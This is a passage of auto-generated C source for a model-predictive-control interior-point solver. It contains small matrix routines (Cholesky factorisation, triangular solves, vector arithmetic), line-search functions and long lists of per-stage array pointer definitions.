*/ void controlMPC_LA_DIAG_DIAGZERO_MATRIXTFORWARDSUB_2_2(controlMPC_FLOAT *L, controlMPC_FLOAT *B, controlMPC_FLOAT *A) { int j; for( j=0; j<2; j++ ){ A[j] = B[j]/L[j]; } } /** * Compute C = A*B' where * * size(A) = [2 x 2] * size(B) = [2 x 2] in diagzero format * * A and C matrices are stored in column major format. * * */ void controlMPC_LA_DENSE_DIAGZERO_MMTM_2_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *B, controlMPC_FLOAT *C) { int i, j; for( i=0; i<2; i++ ){ for( j=0; j<2; j++){ C[j*2+i] = B[i*2+j]*A[i]; } } } /** * Compute L = A*A' + B*B', where L is lower triangular of size NXp1 * and A is a dense matrix of size [2 x 2] in column * storage format, and B is of size [2 x 2] diagonalzero * storage format. * * THIS ONE HAS THE WORST ACCES PATTERN POSSIBLE. * POSSIBKE FIX: PUT A AND B INTO ROW MAJOR FORMAT FIRST. * */ void controlMPC_LA_DENSE_DIAGZERO_MMT2_2_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *B, controlMPC_FLOAT *L) { int i, j, k, ii, di; controlMPC_FLOAT ltemp; ii = 0; di = 0; for( i=0; i<2; i++ ){ for( j=0; j<=i; j++ ){ ltemp = 0; for( k=0; k<2; k++ ){ ltemp += A[k*2+i]*A[k*2+j]; } L[ii+j] = ltemp; } /* work on the diagonal * there might be i == j, but j has already been incremented so it is i == j-1 */ L[ii+i] += B[i]*B[i]; ii += ++di; } } /* * Computes r = b - A*x - B*u * where A is stored in column major format * and B is stored in diagzero format */ void controlMPC_LA_DENSE_DIAGZERO_2MVMSUB2_2_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *x, controlMPC_FLOAT *B, controlMPC_FLOAT *u, controlMPC_FLOAT *b, controlMPC_FLOAT *r) { int i; int j; int k = 0; for( i=0; i<2; i++ ){ r[i] = b[i] - A[k++]*x[0] - B[i]*u[i]; } for( j=1; j<2; j++ ){ for( i=0; i<2; i++ ){ r[i] -= A[k++]*x[j]; } } } /** * Cholesky factorization as above, but working on a matrix in * lower triangular storage format of size 2 and outputting * the Cholesky factor to matrix L in lower triangular format. */ void controlMPC_LA_DENSE_CHOL_2(controlMPC_FLOAT *A, controlMPC_FLOAT *L) { int i, j, k, di, dj; int ii, jj; controlMPC_FLOAT l; controlMPC_FLOAT Mii; /* copy A to L first and then operate on L */ /* COULD BE OPTIMIZED */ ii=0; di=0; for( i=0; i<2; i++ ){ for( j=0; j<=i; j++ ){ L[ii+j] = A[ii+j]; } ii += ++di; } /* factor L */ ii=0; di=0; for( i=0; i<2; i++ ){ l = 0; for( k=0; k<i; k++ ){ l += L[ii+k]*L[ii+k]; } Mii = L[ii+i] - l; #if controlMPC_SET_PRINTLEVEL > 0 && defined PRINTNUMERICALWARNINGS if( Mii < 1.0000000000000000E-013 ){ PRINTTEXT("WARNING (CHOL): small %d-th pivot in Cholesky fact. (=%3.1e < eps=%3.1e), regularizing to %3.1e\n",i,Mii,1.0000000000000000E-013,4.0000000000000002E-004); L[ii+i] = 2.0000000000000000E-002; } else { L[ii+i] = sqrt(Mii); } #else L[ii+i] = Mii < 1.0000000000000000E-013 ? 2.0000000000000000E-002 : sqrt(Mii); #endif jj = ((i+1)*(i+2))/2; dj = i+1; for( j=i+1; j<2; j++ ){ l = 0; for( k=0; k<i; k++ ){ l += L[jj+k]*L[ii+k]; } /* saturate values for numerical stability */ l = MIN(l, BIGMM); l = MAX(l, -BIGMM); L[jj+i] = (L[jj+i] - l)/L[ii+i]; jj += ++dj; } ii += ++di; } } /** * Forward substitution to solve L*y = b where L is a * lower triangular matrix in triangular storage format. * * The dimensions involved are 2. */ void controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_FLOAT *L, controlMPC_FLOAT *b, controlMPC_FLOAT *y) { int i,j,ii,di; controlMPC_FLOAT yel; ii = 0; di = 0; for( i=0; i<2; i++ ){ yel = b[i]; for( j=0; j<i; j++ ){ yel -= y[j]*L[ii+j]; } /* saturate for numerical stability */ yel = MIN(yel, BIGM); yel = MAX(yel, -BIGM); y[i] = yel / L[ii+i]; ii += ++di; } } /** * Forward substitution for the matrix equation A*L' = B' * where A is to be computed and is of size [2 x 2], * B is given and of size [2 x 2], L is a lower tri- * angular matrix of size 2 stored in lower triangular * storage format. Note the transpose of L AND B! * * Result: A in column major storage format. * */ void controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_FLOAT *L, controlMPC_FLOAT *B, controlMPC_FLOAT *A) { int i,j,k,ii,di; controlMPC_FLOAT a; ii=0; di=0; for( j=0; j<2; j++ ){ for( i=0; i<2; i++ ){ a = B[i*2+j]; for( k=0; k<j; k++ ){ a -= A[k*2+i]*L[ii+k]; } /* saturate for numerical stability */ a = MIN(a, BIGM); a = MAX(a, -BIGM); A[j*2+i] = a/L[ii+j]; } ii += ++di; } } /** * Compute L = L - A*A', where L is lower triangular of size 2 * and A is a dense matrix of size [2 x 2] in column * storage format. * * THIS ONE HAS THE WORST ACCES PATTERN POSSIBLE. * POSSIBKE FIX: PUT A INTO ROW MAJOR FORMAT FIRST. * */ void controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *L) { int i, j, k, ii, di; controlMPC_FLOAT ltemp; ii = 0; di = 0; for( i=0; i<2; i++ ){ for( j=0; j<=i; j++ ){ ltemp = 0; for( k=0; k<2; k++ ){ ltemp += A[k*2+i]*A[k*2+j]; } L[ii+j] -= ltemp; } ii += ++di; } } /* * Computes r = b - A*x * where A is stored in column major format */ void controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *x, controlMPC_FLOAT *b, controlMPC_FLOAT *r) { int i; int j; int k = 0; for( i=0; i<2; i++ ){ r[i] = b[i] - A[k++]*x[0]; } for( j=1; j<2; j++ ){ for( i=0; i<2; i++ ){ r[i] -= A[k++]*x[j]; } } } /** * Backward Substitution to solve L^T*x = y where L is a * lower triangular matrix in triangular storage format. * * All involved dimensions are 2. */ void controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_FLOAT *L, controlMPC_FLOAT *y, controlMPC_FLOAT *x) { int i, ii, di, j, jj, dj; controlMPC_FLOAT xel; int start = 1; /* now solve L^T*x = y by backward substitution */ ii = start; di = 1; for( i=1; i>=0; i-- ){ xel = y[i]; jj = start; dj = 1; for( j=1; j>i; j-- ){ xel -= x[j]*L[jj+i]; jj -= dj--; } /* saturate for numerical stability */ xel = MIN(xel, BIGM); xel = MAX(xel, -BIGM); x[i] = xel / L[ii+i]; ii -= di--; } } /* * Matrix vector multiplication y = b - M'*x where M is of size [2 x 2] * and stored in column major format. Note the transpose of M! */ void controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *x, controlMPC_FLOAT *b, controlMPC_FLOAT *r) { int i; int j; int k = 0; for( i=0; i<2; i++ ){ r[i] = b[i]; for( j=0; j<2; j++ ){ r[i] -= A[k++]*x[j]; } } } /* * Vector subtraction z = -x - y for vectors of length 48. */ void controlMPC_LA_VSUB2_48(controlMPC_FLOAT *x, controlMPC_FLOAT *y, controlMPC_FLOAT *z) { int i; for( i=0; i<48; i++){ z[i] = -x[i] - y[i]; } } /** * Forward-Backward-Substitution to solve L*L^T*x = b where L is a * diagonal matrix of size 2 in vector * storage format. */ void controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_FLOAT *L, controlMPC_FLOAT *b, controlMPC_FLOAT *x) { int i; /* solve Ly = b by forward and backward substitution */ for( i=0; i<2; i++ ){ x[i] = b[i]/(L[i]*L[i]); } } /* * Vector subtraction z = x(xidx) - y where y, z and xidx are of length 2, * and x has length 2 and is indexed through yidx. */ void controlMPC_LA_VSUB_INDEXED_2(controlMPC_FLOAT *x, int* xidx, controlMPC_FLOAT *y, controlMPC_FLOAT *z) { int i; for( i=0; i<2; i++){ z[i] = x[xidx[i]] - y[i]; } } /* * Vector subtraction x = -u.*v - w for vectors of length 2. */ void controlMPC_LA_VSUB3_2(controlMPC_FLOAT *u, controlMPC_FLOAT *v, controlMPC_FLOAT *w, controlMPC_FLOAT *x) { int i; for( i=0; i<2; i++){ x[i] = -u[i]*v[i] - w[i]; } } /* * Vector subtraction z = -x - y(yidx) where y is of length 2 * and z, x and yidx are of length 2. */ void controlMPC_LA_VSUB2_INDEXED_2(controlMPC_FLOAT *x, controlMPC_FLOAT *y, int* yidx, controlMPC_FLOAT *z) { int i; for( i=0; i<2; i++){ z[i] = -x[i] - y[yidx[i]]; } } /** * Backtracking line search. * * First determine the maximum line length by a feasibility line * search, i.e. a ~= argmax{ a \in [0...1] s.t. l+a*dl >= 0 and s+a*ds >= 0}. * * The function returns either the number of iterations or exits the error code * controlMPC_NOPROGRESS (should be negative). */ int controlMPC_LINESEARCH_BACKTRACKING_AFFINE(controlMPC_FLOAT *l, controlMPC_FLOAT *s, controlMPC_FLOAT *dl, controlMPC_FLOAT *ds, controlMPC_FLOAT *a, controlMPC_FLOAT *mu_aff) { int i; int lsIt=1; controlMPC_FLOAT dltemp; controlMPC_FLOAT dstemp; controlMPC_FLOAT mya = 1.0; controlMPC_FLOAT mymu; while( 1 ){ /* * Compute both snew and wnew together. * We compute also mu_affine along the way here, as the * values might be in registers, so it should be cheaper. */ mymu = 0; for( i=0; i<96; i++ ){ dltemp = l[i] + mya*dl[i]; dstemp = s[i] + mya*ds[i]; if( dltemp < 0 || dstemp < 0 ){ lsIt++; break; } else { mymu += dstemp*dltemp; } } /* * If no early termination of the for-loop above occurred, we * found the required value of a and we can quit the while loop. */ if( i == 96 ){ break; } else { mya *= controlMPC_SET_LS_SCALE_AFF; if( mya < controlMPC_SET_LS_MINSTEP ){ return controlMPC_NOPROGRESS; } } } /* return new values and iteration counter */ *a = mya; *mu_aff = mymu / (controlMPC_FLOAT)96; return lsIt; } /* * Vector subtraction x = u.*v - a where a is a scalar * and x,u,v are vectors of length 96. */ void controlMPC_LA_VSUB5_96(controlMPC_FLOAT *u, controlMPC_FLOAT *v, controlMPC_FLOAT a, controlMPC_FLOAT *x) { int i; for( i=0; i<96; i++){ x[i] = u[i]*v[i] - a; } } /* * Computes x=0; x(uidx) += u/su; x(vidx) -= v/sv where x is of length 2, * u, su, uidx are of length 2 and v, sv, vidx are of length 2. */ void controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_FLOAT *u, controlMPC_FLOAT *su, int* uidx, controlMPC_FLOAT *v, controlMPC_FLOAT *sv, int* vidx, controlMPC_FLOAT *x) { int i; for( i=0; i<2; i++ ){ x[i] = 0; } for( i=0; i<2; i++){ x[uidx[i]] += u[i]/su[i]; } for( i=0; i<2; i++){ x[vidx[i]] -= v[i]/sv[i]; } } /* * Computes r = A*x + B*u * where A is stored in column major format * and B is stored in diagzero format */ void controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *x, controlMPC_FLOAT *B, controlMPC_FLOAT *u, controlMPC_FLOAT *r) { int i; int j; int k = 0; for( i=0; i<2; i++ ){ r[i] = A[k++]*x[0] + B[i]*u[i]; } for( j=1; j<2; j++ ){ for( i=0; i<2; i++ ){ r[i] += A[k++]*x[j]; } } } /* * Vector subtraction z = x - y for vectors of length 48. */ void controlMPC_LA_VSUB_48(controlMPC_FLOAT *x, controlMPC_FLOAT *y, controlMPC_FLOAT *z) { int i; for( i=0; i<48; i++){ z[i] = x[i] - y[i]; } } /** * Computes z = -r./s - u.*y(y) * where all vectors except of y are of length 2 (length of y >= 2). */ void controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_FLOAT *r, controlMPC_FLOAT *s, controlMPC_FLOAT *u, controlMPC_FLOAT *y, int* yidx, controlMPC_FLOAT *z) { int i; for( i=0; i<2; i++ ){ z[i] = -r[i]/s[i] - u[i]*y[yidx[i]]; } } /** * Computes z = -r./s + u.*y(y) * where all vectors except of y are of length 2 (length of y >= 2). */ void controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_FLOAT *r, controlMPC_FLOAT *s, controlMPC_FLOAT *u, controlMPC_FLOAT *y, int* yidx, controlMPC_FLOAT *z) { int i; for( i=0; i<2; i++ ){ z[i] = -r[i]/s[i] + u[i]*y[yidx[i]]; } } /* * Computes ds = -l.\(r + s.*dl) for vectors of length 96. */ void controlMPC_LA_VSUB7_96(controlMPC_FLOAT *l, controlMPC_FLOAT *r, controlMPC_FLOAT *s, controlMPC_FLOAT *dl, controlMPC_FLOAT *ds) { int i; for( i=0; i<96; i++){ ds[i] = -(r[i] + s[i]*dl[i])/l[i]; } } /* * Vector addition x = x + y for vectors of length 48. */ void controlMPC_LA_VADD_48(controlMPC_FLOAT *x, controlMPC_FLOAT *y) { int i; for( i=0; i<48; i++){ x[i] += y[i]; } } /* * Vector addition x = x + y for vectors of length 46. */ void controlMPC_LA_VADD_46(controlMPC_FLOAT *x, controlMPC_FLOAT *y) { int i; for( i=0; i<46; i++){ x[i] += y[i]; } } /* * Vector addition x = x + y for vectors of length 96. */ void controlMPC_LA_VADD_96(controlMPC_FLOAT *x, controlMPC_FLOAT *y) { int i; for( i=0; i<96; i++){ x[i] += y[i]; } } /** * Backtracking line search for combined predictor/corrector step. * Update on variables with safety factor gamma (to keep us away from * boundary). */ int controlMPC_LINESEARCH_BACKTRACKING_COMBINED(controlMPC_FLOAT *z, controlMPC_FLOAT *v, controlMPC_FLOAT *l, controlMPC_FLOAT *s, controlMPC_FLOAT *dz, controlMPC_FLOAT *dv, controlMPC_FLOAT *dl, controlMPC_FLOAT *ds, controlMPC_FLOAT *a, controlMPC_FLOAT *mu) { int i, lsIt=1; controlMPC_FLOAT dltemp; controlMPC_FLOAT dstemp; controlMPC_FLOAT a_gamma; *a = 1.0; while( 1 ){ /* check whether search criterion is fulfilled */ for( i=0; i<96; i++ ){ dltemp = l[i] + (*a)*dl[i]; dstemp = s[i] + (*a)*ds[i]; if( dltemp < 0 || dstemp < 0 ){ lsIt++; break; } } /* * If no early termination of the for-loop above occurred, we * found the required value of a and we can quit the while loop. */ if( i == 96 ){ break; } else { *a *= controlMPC_SET_LS_SCALE; if( *a < controlMPC_SET_LS_MINSTEP ){ return controlMPC_NOPROGRESS; } } } /* update variables with safety margin */ a_gamma = (*a)*controlMPC_SET_LS_MAXSTEP; /* primal variables */ for( i=0; i<48; i++ ){ z[i] += a_gamma*dz[i]; } /* equality constraint multipliers */ for( i=0; i<46; i++ ){ v[i] += a_gamma*dv[i]; } /* inequality constraint multipliers & slacks, also update mu */ *mu = 0; for( i=0; i<96; i++ ){ dltemp = l[i] + a_gamma*dl[i]; l[i] = dltemp; dstemp = s[i] + a_gamma*ds[i]; s[i] = dstemp; *mu += dltemp*dstemp; } *a = a_gamma; *mu /= (controlMPC_FLOAT)96; return lsIt; } /* VARIABLE DEFINITIONS ------------------------------------------------ */ controlMPC_FLOAT controlMPC_z[48]; controlMPC_FLOAT controlMPC_v[46]; controlMPC_FLOAT controlMPC_dz_aff[48]; controlMPC_FLOAT controlMPC_dv_aff[46]; controlMPC_FLOAT controlMPC_grad_cost[48]; controlMPC_FLOAT controlMPC_grad_eq[48]; controlMPC_FLOAT controlMPC_rd[48]; controlMPC_FLOAT controlMPC_l[96]; controlMPC_FLOAT controlMPC_s[96]; controlMPC_FLOAT controlMPC_lbys[96]; controlMPC_FLOAT controlMPC_dl_aff[96]; controlMPC_FLOAT controlMPC_ds_aff[96]; controlMPC_FLOAT controlMPC_dz_cc[48]; controlMPC_FLOAT controlMPC_dv_cc[46]; controlMPC_FLOAT controlMPC_dl_cc[96]; controlMPC_FLOAT controlMPC_ds_cc[96]; controlMPC_FLOAT controlMPC_ccrhs[96]; controlMPC_FLOAT controlMPC_grad_ineq[48]; controlMPC_FLOAT* controlMPC_z00 = controlMPC_z + 0; controlMPC_FLOAT* controlMPC_dzaff00 = controlMPC_dz_aff + 0; controlMPC_FLOAT* controlMPC_dzcc00 = controlMPC_dz_cc + 0; controlMPC_FLOAT* controlMPC_rd00 = controlMPC_rd + 0; controlMPC_FLOAT controlMPC_Lbyrd00[2]; controlMPC_FLOAT* controlMPC_grad_cost00 = controlMPC_grad_cost + 0; controlMPC_FLOAT* controlMPC_grad_eq00 = controlMPC_grad_eq + 0; controlMPC_FLOAT* controlMPC_grad_ineq00 = controlMPC_grad_ineq + 0; controlMPC_FLOAT controlMPC_ctv00[2]; controlMPC_FLOAT controlMPC_C00[4] = {0.0000000000000000E+000, 0.0000000000000000E+000, 0.0000000000000000E+000, 0.0000000000000000E+000}; controlMPC_FLOAT* controlMPC_v00 = controlMPC_v + 0; controlMPC_FLOAT controlMPC_re00[2]; controlMPC_FLOAT controlMPC_beta00[2]; controlMPC_FLOAT controlMPC_betacc00[2]; controlMPC_FLOAT* controlMPC_dvaff00 = controlMPC_dv_aff + 0; controlMPC_FLOAT* controlMPC_dvcc00 = controlMPC_dv_cc + 0; controlMPC_FLOAT controlMPC_V00[4]; controlMPC_FLOAT controlMPC_Yd00[3]; controlMPC_FLOAT controlMPC_Ld00[3]; controlMPC_FLOAT controlMPC_yy00[2]; controlMPC_FLOAT controlMPC_bmy00[2]; controlMPC_FLOAT controlMPC_c00[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx00[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb00 = controlMPC_l + 0; controlMPC_FLOAT* controlMPC_slb00 = controlMPC_s + 0; controlMPC_FLOAT* controlMPC_llbbyslb00 = controlMPC_lbys + 0; controlMPC_FLOAT controlMPC_rilb00[2]; controlMPC_FLOAT* controlMPC_dllbaff00 = controlMPC_dl_aff + 0; controlMPC_FLOAT* controlMPC_dslbaff00 = controlMPC_ds_aff + 0; controlMPC_FLOAT* controlMPC_dllbcc00 = controlMPC_dl_cc + 0; controlMPC_FLOAT* controlMPC_dslbcc00 = controlMPC_ds_cc + 0; controlMPC_FLOAT* controlMPC_ccrhsl00 = controlMPC_ccrhs + 0; int controlMPC_ubIdx00[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub00 = controlMPC_l + 2; controlMPC_FLOAT* controlMPC_sub00 = controlMPC_s + 2; controlMPC_FLOAT* controlMPC_lubbysub00 = controlMPC_lbys + 2; controlMPC_FLOAT controlMPC_riub00[2]; controlMPC_FLOAT* controlMPC_dlubaff00 = controlMPC_dl_aff + 2; controlMPC_FLOAT* controlMPC_dsubaff00 = controlMPC_ds_aff + 2; controlMPC_FLOAT* controlMPC_dlubcc00 = controlMPC_dl_cc + 2; controlMPC_FLOAT* controlMPC_dsubcc00 = controlMPC_ds_cc + 2; controlMPC_FLOAT* controlMPC_ccrhsub00 = controlMPC_ccrhs + 2; controlMPC_FLOAT controlMPC_Phi00[2]; controlMPC_FLOAT* controlMPC_z01 = controlMPC_z + 2; controlMPC_FLOAT* controlMPC_dzaff01 = controlMPC_dz_aff + 2; controlMPC_FLOAT* controlMPC_dzcc01 = controlMPC_dz_cc + 2; controlMPC_FLOAT* controlMPC_rd01 = controlMPC_rd + 2; controlMPC_FLOAT controlMPC_Lbyrd01[2]; controlMPC_FLOAT* controlMPC_grad_cost01 = controlMPC_grad_cost + 2; controlMPC_FLOAT* controlMPC_grad_eq01 = controlMPC_grad_eq + 2; controlMPC_FLOAT* controlMPC_grad_ineq01 = controlMPC_grad_ineq + 2; controlMPC_FLOAT controlMPC_ctv01[2]; controlMPC_FLOAT* controlMPC_v01 = controlMPC_v + 2; controlMPC_FLOAT controlMPC_re01[2]; controlMPC_FLOAT controlMPC_beta01[2]; controlMPC_FLOAT controlMPC_betacc01[2]; controlMPC_FLOAT* controlMPC_dvaff01 = controlMPC_dv_aff + 2; controlMPC_FLOAT* controlMPC_dvcc01 = controlMPC_dv_cc + 2; controlMPC_FLOAT controlMPC_V01[4]; controlMPC_FLOAT controlMPC_Yd01[3]; controlMPC_FLOAT controlMPC_Ld01[3]; controlMPC_FLOAT controlMPC_yy01[2]; controlMPC_FLOAT controlMPC_bmy01[2]; controlMPC_FLOAT controlMPC_c01[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx01[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb01 = controlMPC_l + 4; controlMPC_FLOAT* controlMPC_slb01 = controlMPC_s + 4; controlMPC_FLOAT* controlMPC_llbbyslb01 = controlMPC_lbys + 4; controlMPC_FLOAT controlMPC_rilb01[2]; controlMPC_FLOAT* controlMPC_dllbaff01 = controlMPC_dl_aff + 4; controlMPC_FLOAT* controlMPC_dslbaff01 = controlMPC_ds_aff + 4; controlMPC_FLOAT* controlMPC_dllbcc01 = controlMPC_dl_cc + 4; controlMPC_FLOAT* controlMPC_dslbcc01 = controlMPC_ds_cc + 4; controlMPC_FLOAT* controlMPC_ccrhsl01 = controlMPC_ccrhs + 4; int controlMPC_ubIdx01[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub01 = controlMPC_l + 6; controlMPC_FLOAT* controlMPC_sub01 = controlMPC_s + 6; controlMPC_FLOAT* controlMPC_lubbysub01 = controlMPC_lbys + 6; controlMPC_FLOAT controlMPC_riub01[2]; controlMPC_FLOAT* controlMPC_dlubaff01 = controlMPC_dl_aff + 6; controlMPC_FLOAT* controlMPC_dsubaff01 = controlMPC_ds_aff + 6; controlMPC_FLOAT* controlMPC_dlubcc01 = controlMPC_dl_cc + 6; controlMPC_FLOAT* controlMPC_dsubcc01 = controlMPC_ds_cc + 6; controlMPC_FLOAT* controlMPC_ccrhsub01 = controlMPC_ccrhs + 6; controlMPC_FLOAT controlMPC_Phi01[2]; controlMPC_FLOAT controlMPC_D01[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; controlMPC_FLOAT controlMPC_W01[2]; controlMPC_FLOAT controlMPC_Ysd01[4]; controlMPC_FLOAT controlMPC_Lsd01[4]; controlMPC_FLOAT* controlMPC_z02 = controlMPC_z + 4; controlMPC_FLOAT* controlMPC_dzaff02 = controlMPC_dz_aff + 4; controlMPC_FLOAT* controlMPC_dzcc02 = controlMPC_dz_cc + 4; controlMPC_FLOAT* controlMPC_rd02 = controlMPC_rd + 4; controlMPC_FLOAT controlMPC_Lbyrd02[2]; controlMPC_FLOAT* controlMPC_grad_cost02 = controlMPC_grad_cost + 4; controlMPC_FLOAT* controlMPC_grad_eq02 = controlMPC_grad_eq + 4; controlMPC_FLOAT* controlMPC_grad_ineq02 = controlMPC_grad_ineq + 4; controlMPC_FLOAT controlMPC_ctv02[2]; controlMPC_FLOAT* controlMPC_v02 = controlMPC_v + 4; controlMPC_FLOAT controlMPC_re02[2]; controlMPC_FLOAT controlMPC_beta02[2]; controlMPC_FLOAT controlMPC_betacc02[2]; controlMPC_FLOAT* controlMPC_dvaff02 = controlMPC_dv_aff + 4; controlMPC_FLOAT* controlMPC_dvcc02 = controlMPC_dv_cc + 4; controlMPC_FLOAT controlMPC_V02[4]; controlMPC_FLOAT controlMPC_Yd02[3]; controlMPC_FLOAT controlMPC_Ld02[3]; controlMPC_FLOAT controlMPC_yy02[2]; controlMPC_FLOAT controlMPC_bmy02[2]; controlMPC_FLOAT controlMPC_c02[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx02[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb02 = controlMPC_l + 8; controlMPC_FLOAT* controlMPC_slb02 = controlMPC_s + 8; controlMPC_FLOAT* controlMPC_llbbyslb02 = controlMPC_lbys + 8; controlMPC_FLOAT controlMPC_rilb02[2]; controlMPC_FLOAT* controlMPC_dllbaff02 = controlMPC_dl_aff + 8; controlMPC_FLOAT* controlMPC_dslbaff02 = controlMPC_ds_aff + 8; controlMPC_FLOAT* controlMPC_dllbcc02 = controlMPC_dl_cc + 8; controlMPC_FLOAT* controlMPC_dslbcc02 = controlMPC_ds_cc + 8; controlMPC_FLOAT* controlMPC_ccrhsl02 = controlMPC_ccrhs + 8; int controlMPC_ubIdx02[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub02 = controlMPC_l + 10; controlMPC_FLOAT* controlMPC_sub02 = controlMPC_s + 10; controlMPC_FLOAT* controlMPC_lubbysub02 = controlMPC_lbys + 10; controlMPC_FLOAT controlMPC_riub02[2]; controlMPC_FLOAT* controlMPC_dlubaff02 = controlMPC_dl_aff + 10; controlMPC_FLOAT* controlMPC_dsubaff02 = controlMPC_ds_aff + 10; controlMPC_FLOAT* controlMPC_dlubcc02 = controlMPC_dl_cc + 10; controlMPC_FLOAT* controlMPC_dsubcc02 = controlMPC_ds_cc + 10; controlMPC_FLOAT* controlMPC_ccrhsub02 = controlMPC_ccrhs + 10; controlMPC_FLOAT controlMPC_Phi02[2]; controlMPC_FLOAT controlMPC_W02[2]; controlMPC_FLOAT controlMPC_Ysd02[4]; controlMPC_FLOAT controlMPC_Lsd02[4]; controlMPC_FLOAT* controlMPC_z03 = controlMPC_z + 6; controlMPC_FLOAT* controlMPC_dzaff03 = controlMPC_dz_aff + 6; controlMPC_FLOAT* controlMPC_dzcc03 = controlMPC_dz_cc + 6; controlMPC_FLOAT* controlMPC_rd03 = controlMPC_rd + 6; controlMPC_FLOAT controlMPC_Lbyrd03[2]; controlMPC_FLOAT* controlMPC_grad_cost03 = controlMPC_grad_cost + 6; controlMPC_FLOAT* controlMPC_grad_eq03 = controlMPC_grad_eq + 6; controlMPC_FLOAT* controlMPC_grad_ineq03 = controlMPC_grad_ineq + 6; controlMPC_FLOAT controlMPC_ctv03[2]; controlMPC_FLOAT* controlMPC_v03 = controlMPC_v + 6; controlMPC_FLOAT controlMPC_re03[2]; controlMPC_FLOAT controlMPC_beta03[2]; controlMPC_FLOAT controlMPC_betacc03[2]; controlMPC_FLOAT* controlMPC_dvaff03 = controlMPC_dv_aff + 6; controlMPC_FLOAT* controlMPC_dvcc03 = controlMPC_dv_cc + 6; controlMPC_FLOAT controlMPC_V03[4]; controlMPC_FLOAT controlMPC_Yd03[3]; controlMPC_FLOAT controlMPC_Ld03[3]; controlMPC_FLOAT controlMPC_yy03[2]; controlMPC_FLOAT controlMPC_bmy03[2]; controlMPC_FLOAT controlMPC_c03[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx03[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb03 = controlMPC_l + 12; controlMPC_FLOAT* controlMPC_slb03 = controlMPC_s + 12; controlMPC_FLOAT* controlMPC_llbbyslb03 = controlMPC_lbys + 12; controlMPC_FLOAT controlMPC_rilb03[2]; controlMPC_FLOAT* controlMPC_dllbaff03 = controlMPC_dl_aff + 12; controlMPC_FLOAT* controlMPC_dslbaff03 = controlMPC_ds_aff + 12; controlMPC_FLOAT* controlMPC_dllbcc03 = controlMPC_dl_cc + 12; controlMPC_FLOAT* controlMPC_dslbcc03 = controlMPC_ds_cc + 12; controlMPC_FLOAT* controlMPC_ccrhsl03 = controlMPC_ccrhs + 12; int controlMPC_ubIdx03[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub03 = controlMPC_l + 14; controlMPC_FLOAT* controlMPC_sub03 = controlMPC_s + 14; controlMPC_FLOAT* controlMPC_lubbysub03 = controlMPC_lbys + 14; controlMPC_FLOAT controlMPC_riub03[2]; controlMPC_FLOAT* controlMPC_dlubaff03 = controlMPC_dl_aff + 14; controlMPC_FLOAT* controlMPC_dsubaff03 = controlMPC_ds_aff + 14; controlMPC_FLOAT* controlMPC_dlubcc03 = controlMPC_dl_cc + 14; controlMPC_FLOAT* controlMPC_dsubcc03 = controlMPC_ds_cc + 14; controlMPC_FLOAT* controlMPC_ccrhsub03 = controlMPC_ccrhs + 14; controlMPC_FLOAT controlMPC_Phi03[2]; controlMPC_FLOAT controlMPC_W03[2]; controlMPC_FLOAT controlMPC_Ysd03[4]; controlMPC_FLOAT controlMPC_Lsd03[4]; controlMPC_FLOAT* controlMPC_z04 = controlMPC_z + 8; controlMPC_FLOAT* controlMPC_dzaff04 = controlMPC_dz_aff + 8; controlMPC_FLOAT* controlMPC_dzcc04 = controlMPC_dz_cc + 8; controlMPC_FLOAT* controlMPC_rd04 = controlMPC_rd + 8; controlMPC_FLOAT controlMPC_Lbyrd04[2]; controlMPC_FLOAT* controlMPC_grad_cost04 = controlMPC_grad_cost + 8; controlMPC_FLOAT* controlMPC_grad_eq04 = controlMPC_grad_eq + 8; controlMPC_FLOAT* controlMPC_grad_ineq04 = controlMPC_grad_ineq + 8; controlMPC_FLOAT controlMPC_ctv04[2]; controlMPC_FLOAT* controlMPC_v04 = controlMPC_v + 8; controlMPC_FLOAT controlMPC_re04[2]; controlMPC_FLOAT controlMPC_beta04[2]; controlMPC_FLOAT controlMPC_betacc04[2]; controlMPC_FLOAT* controlMPC_dvaff04 = controlMPC_dv_aff + 8; controlMPC_FLOAT* controlMPC_dvcc04 = controlMPC_dv_cc + 8; controlMPC_FLOAT controlMPC_V04[4]; controlMPC_FLOAT controlMPC_Yd04[3]; controlMPC_FLOAT controlMPC_Ld04[3]; controlMPC_FLOAT controlMPC_yy04[2]; controlMPC_FLOAT controlMPC_bmy04[2]; controlMPC_FLOAT controlMPC_c04[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx04[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb04 = controlMPC_l + 16; controlMPC_FLOAT* controlMPC_slb04 = controlMPC_s + 16; controlMPC_FLOAT* controlMPC_llbbyslb04 = controlMPC_lbys + 16; controlMPC_FLOAT controlMPC_rilb04[2]; controlMPC_FLOAT* controlMPC_dllbaff04 = controlMPC_dl_aff + 16; controlMPC_FLOAT* controlMPC_dslbaff04 = controlMPC_ds_aff 